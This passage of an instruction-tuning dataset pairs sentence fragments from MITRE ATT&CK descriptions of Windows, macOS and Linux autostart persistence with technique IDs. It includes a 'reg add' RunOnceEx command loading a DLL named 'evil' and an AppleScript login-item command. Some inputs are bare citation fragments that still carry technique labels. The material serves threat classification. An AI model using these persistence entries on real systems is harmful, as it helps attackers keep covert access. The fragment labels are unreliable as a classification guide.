<code>HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce</code>\n\nRun keys may exist under multiple hives.(Citation: ### Response: T1547.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Microsoft Wow6432Node 2018)(Citation: Malwarebytes Wow6432Node 2016)", "output": "T1547.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Microsoft Wow6432Node 2018)(Citation: Malwarebytes Wow6432Node 2016) ### Response: T1547.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "The <code>HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnceEx</code> is also available but is not created by default on Windows Vista and newer.", "output": "T1547.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: The <code>HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnceEx</code> is also available but is not created by default on Windows Vista and newer. ### Response: T1547.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Registry run key entries can reference programs directly or list them as a dependency.(Citation: Microsoft Run Key)", "output": "T1547.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Registry run key entries can reference programs directly or list them as a dependency.(Citation: Microsoft Run Key) ### Response: T1547.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "For example, it is possible to load a DLL at logon using a \"Depend\" key with RunOnceEx:", "output": "T1547.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: For example, it is possible to load a DLL at logon using a \"Depend\" key with RunOnceEx: ### Response: T1547.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "<code>reg add HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\RunOnceEx\\0001\\Depend /v", "output": "T1547.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: <code>reg add HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\RunOnceEx\\0001\\Depend /v ### Response: T1547.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "1 /d \"C:\\temp\\evil[.]dll\"</code> (Citation: Oddvar Moe RunOnceEx Mar 2018)", "output": "T1547.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: 1 /d \"C:\\temp\\evil[.]dll\"</code> (Citation: Oddvar Moe RunOnceEx Mar 2018) ### Response: T1547.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Placing a program within a startup folder will also cause that program to execute when a user logs in.", "output": "T1547.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Placing a program within a startup folder will also cause that program to execute when a user logs in. ### Response: T1547.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "There is a startup folder location for individual user accounts as well as a system-wide startup folder that will be checked regardless of which user account logs in.", "output": "T1547.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: There is a startup folder location for individual user accounts as well as a system-wide startup folder that will be checked regardless of which user account logs in. ### Response: T1547.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "The startup folder path for the current user is <code>C:\\Users\\\\[Username]\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup</code>.", "output": "T1547.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: The startup folder path for the current user is <code>C:\\Users\\\\[Username]\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup</code>. ### Response: T1547.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "The startup folder path for all users is <code>C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\StartUp</code>.", "output": "T1547.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: The startup folder path for all users is <code>C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\StartUp</code>. ### Response: T1547.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "The following Registry keys can be used to set startup folder items for persistence:\n\n* <code>HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User", "output": "T1547.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: The following Registry keys can be used to set startup folder items for persistence:\n\n* <code>HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User ### Response: T1547.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Shell Folders</code>\n* <code>HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Shell Folders</code>\n* <code>HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Shell Folders</code>\n* <code>HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders</code>\n\nThe following Registry keys can control automatic startup of services during boot:\n\n* <code>HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\RunServicesOnce</code>\n* <code>HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\RunServicesOnce</code>\n* <code>HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\RunServices</code>\n* <code>HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\RunServices</code>\n\nUsing policy settings to specify startup programs creates corresponding values in either of two Registry keys:\n\n* <code>HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer\\Run</code>\n* <code>HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer\\Run</code>\n\nPrograms listed in the load value of the registry key <code>HKEY_CURRENT_USER\\Software\\Microsoft\\Windows", "output": "T1547.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Shell Folders</code>\n* <code>HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Shell Folders</code>\n* <code>HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Shell Folders</code>\n* <code>HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders</code>\n\nThe following Registry keys can control automatic startup of services during boot:\n\n* <code>HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\RunServicesOnce</code>\n* <code>HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\RunServicesOnce</code>\n* <code>HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\RunServices</code>\n* <code>HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\RunServices</code>\n\nUsing policy settings to specify startup programs creates corresponding values in either of two Registry keys:\n\n* <code>HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer\\Run</code>\n* <code>HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer\\Run</code>\n\nPrograms listed in the load value of the registry key <code>HKEY_CURRENT_USER\\Software\\Microsoft\\Windows ### Response: T1547.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "NT\\CurrentVersion\\Windows</code> run automatically for the currently logged-on user.", "output": "T1547.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: NT\\CurrentVersion\\Windows</code> run automatically for the currently logged-on user. ### Response: T1547.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "By default, the multistring <code>BootExecute</code> value of the registry key <code>HKEY_LOCAL_MACHINE\\System\\CurrentControlSet\\Control\\Session Manager</code> is set to <code>autocheck autochk *</code>.", "output": "T1547.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: By default, the multistring <code>BootExecute</code> value of the registry key <code>HKEY_LOCAL_MACHINE\\System\\CurrentControlSet\\Control\\Session Manager</code> is set to <code>autocheck autochk *</code>. ### Response: T1547.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "This value causes Windows, at startup, to check the file-system integrity of the hard disks if the system has been shut down abnormally.", "output": "T1547.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: This value causes Windows, at startup, to check the file-system integrity of the hard disks if the system has been shut down abnormally. ### Response: T1547.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries can add other programs or processes to this registry value which will automatically launch at boot.", "output": "T1547.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries can add other programs or processes to this registry value which will automatically launch at boot. ### Response: T1547.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries can use these configuration locations to execute malware, such as remote access tools, to maintain persistence through system reboots.", "output": "T1547.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries can use these configuration locations to execute malware, such as remote access tools, to maintain persistence through system reboots. ### Response: T1547.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may also use [Masquerading](https://attack.mitre.org/techniques/T1036) to make the Registry entries look as if they are associated with legitimate programs.", "output": "T1547.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may also use [Masquerading](https://attack.mitre.org/techniques/T1036) to make the Registry entries look as if they are associated with legitimate programs. ### Response: T1547.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may modify or add LSASS drivers to obtain persistence on compromised systems.", "output": "T1547.008", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may modify or add LSASS drivers to obtain persistence on compromised systems. ### Response: T1547.008."}{"instruction": "List the MITRE techniques contained in the text.", "input": "The Windows security subsystem is a set of components that manage and enforce the security policy for a computer or domain.", "output": "T1547.008", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: The Windows security subsystem is a set of components that manage and enforce the security policy for a computer or domain. ### Response: T1547.008."}{"instruction": "List the MITRE techniques contained in the text.", "input": "The Local Security Authority (LSA) is the main component responsible for local security policy and user authentication.", "output": "T1547.008", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: The Local Security Authority (LSA) is the main component responsible for local security policy and user authentication. ### Response: T1547.008."}{"instruction": "List the MITRE techniques contained in the text.", "input": "The LSA includes multiple dynamic link libraries (DLLs) associated with various other security functions, all of which run in the context of the LSA Subsystem Service (LSASS) lsass.exe process.(Citation: Microsoft Security Subsystem)", "output": "T1547.008", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: The LSA includes multiple dynamic link libraries (DLLs) associated with various other security functions, all of which run in the context of the LSA Subsystem Service (LSASS) lsass.exe process.(Citation: Microsoft Security Subsystem) ### Response: T1547.008."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may target LSASS drivers to obtain persistence.", "output": "T1547.008", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may target LSASS drivers to obtain persistence. ### Response: T1547.008."}{"instruction": "List the MITRE techniques contained in the text.", "input": "By either replacing or adding illegitimate drivers (e.g., [Hijack Execution Flow](https://attack.mitre.org/techniques/T1574)), an adversary can use LSA operations to continuously execute malicious payloads.", "output": "T1547.008", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: By either replacing or adding illegitimate drivers (e.g., [Hijack Execution Flow](https://attack.mitre.org/techniques/T1574)), an adversary can use LSA operations to continuously execute malicious payloads. ### Response: T1547.008."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may abuse print processors to run malicious DLLs during system boot for persistence and/or privilege escalation.", "output": "T1547.012", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may abuse print processors to run malicious DLLs during system boot for persistence and/or privilege escalation. ### Response: T1547.012."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Print processors are DLLs that are loaded by the print spooler service, `spoolsv.exe`, during boot.(Citation: Microsoft Intro Print Processors)", "output": "T1547.012", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Print processors are DLLs that are loaded by the print spooler service, `spoolsv.exe`, during boot.(Citation: Microsoft Intro Print Processors) ### Response: T1547.012."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may abuse the print spooler service by adding print processors that load malicious DLLs at startup.", "output": "T1547.012", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may abuse the print spooler service by adding print processors that load malicious DLLs at startup. ### Response: T1547.012."}{"instruction": "List the MITRE techniques contained in the text.", "input": "A print processor can be installed through the <code>AddPrintProcessor</code> API call with an account that has <code>SeLoadDriverPrivilege</code> enabled.", "output": "T1547.012", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: A print processor can be installed through the <code>AddPrintProcessor</code> API call with an account that has <code>SeLoadDriverPrivilege</code> enabled. ### Response: T1547.012."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Alternatively, a print processor can be registered to the print spooler service by adding the <code>HKLM\\SYSTEM\\\\[CurrentControlSet or ControlSet001]\\Control\\Print\\Environments\\\\[Windows architecture: e.g., Windows x64]\\Print Processors\\\\[user defined]\\Driver</code>", "output": "T1547.012", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Alternatively, a print processor can be registered to the print spooler service by adding the <code>HKLM\\SYSTEM\\\\[CurrentControlSet or ControlSet001]\\Control\\Print\\Environments\\\\[Windows architecture: e.g., Windows x64]\\Print Processors\\\\[user defined]\\Driver</code> ### Response: T1547.012."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Registry key that points to the DLL.", "output": "T1547.012", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Registry key that points to the DLL. ### Response: T1547.012."}{"instruction": "List the MITRE techniques contained in the text.", "input": "For the malicious print processor to be correctly installed, the payload must be located in the dedicated system print-processor directory, that can be found with the <code>GetPrintProcessorDirectory</code> API call, or referenced via a relative path from this directory.(Citation:", "output": "T1547.012", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: For the malicious print processor to be correctly installed, the payload must be located in the dedicated system print-processor directory, that can be found with the <code>GetPrintProcessorDirectory</code> API call, or referenced via a relative path from this directory.(Citation: ### Response: T1547.012."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Microsoft AddPrintProcessor May 2018)", "output": "T1547.012", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Microsoft AddPrintProcessor May 2018) ### Response: T1547.012."}{"instruction": "List the MITRE techniques contained in the text.", "input": "After the print processors are installed, the print spooler service, which starts during boot, must be restarted in order for them to run.(Citation: ESET PipeMon May 2020)", "output": "T1547.012", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: After the print processors are installed, the print spooler service, which starts during boot, must be restarted in order for them to run.(Citation: ESET PipeMon May 2020) ### Response: T1547.012."}{"instruction": "List the MITRE techniques contained in the text.", "input": "The print spooler service runs under SYSTEM level permissions, therefore print processors installed by an adversary may run under elevated privileges.", "output": "T1547.012", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: The print spooler service runs under SYSTEM level permissions, therefore print processors installed by an adversary may run under elevated privileges. ### Response: T1547.012."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may achieve persistence by adding a Registry key to the Active Setup of the local machine.", "output": "T1547.014", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may achieve persistence by adding a Registry key to the Active Setup of the local machine. ### Response: T1547.014."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Active Setup is a Windows mechanism that is used to execute programs when a user logs in.", "output": "T1547.014", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Active Setup is a Windows mechanism that is used to execute programs when a user logs in. ### Response: T1547.014."}{"instruction": "List the MITRE techniques contained in the text.", "input": "The value stored in the Registry key will be executed after a user logs into the computer.(Citation: Klein Active Setup 2010)", "output": "T1547.014", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: The value stored in the Registry key will be executed after a user logs into the computer.(Citation: Klein Active Setup 2010) ### Response: T1547.014."}{"instruction": "List the MITRE techniques contained in the text.", "input": "These programs will be executed under the context of the user and will have the account's associated permissions level.", "output": "T1547.014", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: These programs will be executed under the context of the user and will have the account's associated permissions level. ### Response: T1547.014."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may abuse Active Setup by creating a key under <code> HKLM\\SOFTWARE\\Microsoft\\Active Setup\\Installed Components\\</code> and setting a malicious value for <code>StubPath</code>.", "output": "T1547.014", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may abuse Active Setup by creating a key under <code> HKLM\\SOFTWARE\\Microsoft\\Active Setup\\Installed Components\\</code> and setting a malicious value for <code>StubPath</code>. ### Response: T1547.014."}{"instruction": "List the MITRE techniques contained in the text.", "input": "This value will serve as the program that will be executed when a user logs into the computer.(Citation: Mandiant Glyer APT 2010)(Citation: Citizenlab Packrat 2015)(Citation:", "output": "T1547.014", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: This value will serve as the program that will be executed when a user logs into the computer.(Citation: Mandiant Glyer APT 2010)(Citation: Citizenlab Packrat 2015)(Citation: ### Response: T1547.014."}{"instruction": "List the MITRE techniques contained in the text.", "input": "FireEye CFR Watering Hole 2012)(Citation:", "output": "T1547.014", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: FireEye CFR Watering Hole 2012)(Citation: ### Response: T1547.014."}{"instruction": "List the MITRE techniques contained in the text.", "input": "SECURELIST Bright Star 2015)(Citation: paloalto Tropic Trooper 2016)", "output": "T1547.014", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: SECURELIST Bright Star 2015)(Citation: paloalto Tropic Trooper 2016) ### Response: T1547.014."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries can abuse these components to execute malware, such as remote access tools, to maintain persistence through system reboots.", "output": "T1547.014", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries can abuse these components to execute malware, such as remote access tools, to maintain persistence through system reboots. ### Response: T1547.014."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may also use [Masquerading](https://attack.mitre.org/techniques/T1036) to make the Registry entries look as if they are associated with legitimate programs.", "output": "T1547.014", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may also use [Masquerading](https://attack.mitre.org/techniques/T1036) to make the Registry entries look as if they are associated with legitimate programs. ### Response: T1547.014."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may add login items to execute upon user login to gain persistence or escalate privileges.", "output": "T1547.015", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may add login items to execute upon user login to gain persistence or escalate privileges. ### Response: T1547.015."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Login items are applications, documents, folders, or server connections that are automatically launched when a user logs in.(Citation: Open Login Items Apple) Login items can be added via a shared file list or Service Management Framework.(Citation: Adding Login Items) Shared file list login items can be set using scripting languages such as [AppleScript](https://attack.mitre.org/techniques/T1059/002), whereas the Service Management Framework uses the API call <code>SMLoginItemSetEnabled</code>.", "output": "T1547.015", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Login items are applications, documents, folders, or server connections that are automatically launched when a user logs in.(Citation: Open Login Items Apple) Login items can be added via a shared file list or Service Management Framework.(Citation: Adding Login Items) Shared file list login items can be set using scripting languages such as [AppleScript](https://attack.mitre.org/techniques/T1059/002), whereas the Service Management Framework uses the API call <code>SMLoginItemSetEnabled</code>. ### Response: T1547.015."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Login items installed using the Service Management Framework leverage <code>launchd</code>, are not visible in the System Preferences, and can only be removed by the application that created them.(Citation: Adding Login Items)(Citation: SMLoginItemSetEnabled Schroeder 2013)", "output": "T1547.015", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Login items installed using the Service Management Framework leverage <code>launchd</code>, are not visible in the System Preferences, and can only be removed by the application that created them.(Citation: Adding Login Items)(Citation: SMLoginItemSetEnabled Schroeder 2013) ### Response: T1547.015."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Login items created using a shared file list are visible in System Preferences, can hide the application when it launches, and are executed through LaunchServices, not launchd, to open applications, documents, or URLs without using Finder.(Citation: Launch Services Apple Developer) Users and applications use login items to configure their user environment to launch commonly used services or applications, such as email, chat, and music applications.", "output": "T1547.015", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Login items created using a shared file list are visible in System Preferences, can hide the application when it launches, and are executed through LaunchServices, not launchd, to open applications, documents, or URLs without using Finder.(Citation: Launch Services Apple Developer) Users and applications use login items to configure their user environment to launch commonly used services or applications, such as email, chat, and music applications. ### Response: T1547.015."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries can utilize [AppleScript](https://attack.mitre.org/techniques/T1059/002) and [Native API](https://attack.mitre.org/techniques/T1106) calls to create a login item to spawn malicious executables.(Citation: ELC Running at startup)", "output": "T1547.015", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries can utilize [AppleScript](https://attack.mitre.org/techniques/T1059/002) and [Native API](https://attack.mitre.org/techniques/T1106) calls to create a login item to spawn malicious executables.(Citation: ELC Running at startup) ### Response: T1547.015."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Prior to version 10.5 on macOS, adversaries can add login items by using [AppleScript](https://attack.mitre.org/techniques/T1059/002) to send an Apple events to the \u201cSystem Events\u201d process, which has an AppleScript dictionary for manipulating login items.(Citation: Login Items AE) Adversaries can use a command such as <code>tell application \u201cSystem Events\u201d to make login item at end with properties /path/to/executable</code>.(Citation: Startup Items Eclectic)(Citation: hexed osx.dok analysis 2019)(Citation:", "output": "T1547.015", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Prior to version 10.5 on macOS, adversaries can add login items by using [AppleScript](https://attack.mitre.org/techniques/T1059/002) to send an Apple events to the \u201cSystem Events\u201d process, which has an AppleScript dictionary for manipulating login items.(Citation: Login Items AE) Adversaries can use a command such as <code>tell application \u201cSystem Events\u201d to make login item at end with properties /path/to/executable</code>.(Citation: Startup Items Eclectic)(Citation: hexed osx.dok analysis 2019)(Citation: ### Response: T1547.015."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Add List Remove Login Items Apple Script)", "output": "T1547.015", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Add List Remove Login Items Apple Script) ### Response: T1547.015."}{"instruction": "List the MITRE techniques contained in the text.", "input": "This command adds the path of the malicious executable to the login item file list located in <code>~/Library/Application Support/com.apple.backgroundtaskmanagementagent/backgrounditems.btm</code>.(Citation: Startup Items Eclectic) Adversaries can also use login items to launch executables that can be used to control the victim system remotely or as a means to gain privilege escalation by prompting for user credentials.(Citation: objsee mac malware 2017)(Citation:", "output": "T1547.015", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: This command adds the path of the malicious executable to the login item file list located in <code>~/Library/Application Support/com.apple.backgroundtaskmanagementagent/backgrounditems.btm</code>.(Citation: Startup Items Eclectic) Adversaries can also use login items to launch executables that can be used to control the victim system remotely or as a means to gain privilege escalation by prompting for user credentials.(Citation: objsee mac malware 2017)(Citation: ### Response: T1547.015."}{"instruction": "List the MITRE techniques contained in the text.", "input": "CheckPoint Dok)(Citation: objsee netwire backdoor 2019)", "output": "T1547.015", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: CheckPoint Dok)(Citation: objsee netwire backdoor 2019) ### Response: T1547.015."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may add or modify XDG Autostart Entries to execute malicious programs or commands when a user\u2019s desktop environment is loaded at login.", "output": "T1547.013", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may add or modify XDG Autostart Entries to execute malicious programs or commands when a user\u2019s desktop environment is loaded at login. ### Response: T1547.013."}{"instruction": "List the MITRE techniques contained in the text.", "input": "XDG Autostart entries are available for any XDG-compliant Linux system.", "output": "T1547.013", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: XDG Autostart entries are available for any XDG-compliant Linux system. ### Response: T1547.013."}{"instruction": "List the MITRE techniques contained in the text.", "input": "XDG Autostart entries use Desktop Entry files (`.desktop`) to configure the user\u2019s desktop environment upon user login.", "output": "T1547.013", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: XDG Autostart entries use Desktop Entry files (`.desktop`) to configure the user\u2019s desktop environment upon user login. ### Response: T1547.013."}{"instruction": "List the MITRE techniques contained in the text.", "input": "These configuration files determine what applications launch upon user login, define associated applications to open specific file types, and define applications used to open removable media.(Citation: Free Desktop Application Autostart Feb 2006)(Citation:", "output": "T1547.013", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: These configuration files determine what applications launch upon user login, define associated applications to open specific file types, and define applications used to open removable media.(Citation: Free Desktop Application Autostart Feb 2006)(Citation: ### Response: T1547.013."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Free Desktop Entry Keys)", "output": "T1547.013", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Free Desktop Entry Keys) ### Response: T1547.013."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may abuse this feature to establish persistence by adding a path to a malicious binary or command to the `Exec` directive in the `.desktop` configuration file.", "output": "T1547.013", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may abuse this feature to establish persistence by adding a path to a malicious binary or command to the `Exec` directive in the `.desktop` configuration file. ### Response: T1547.013."}{"instruction": "List the MITRE techniques contained in the text.", "input": "When the user\u2019s desktop environment is loaded at user login, the 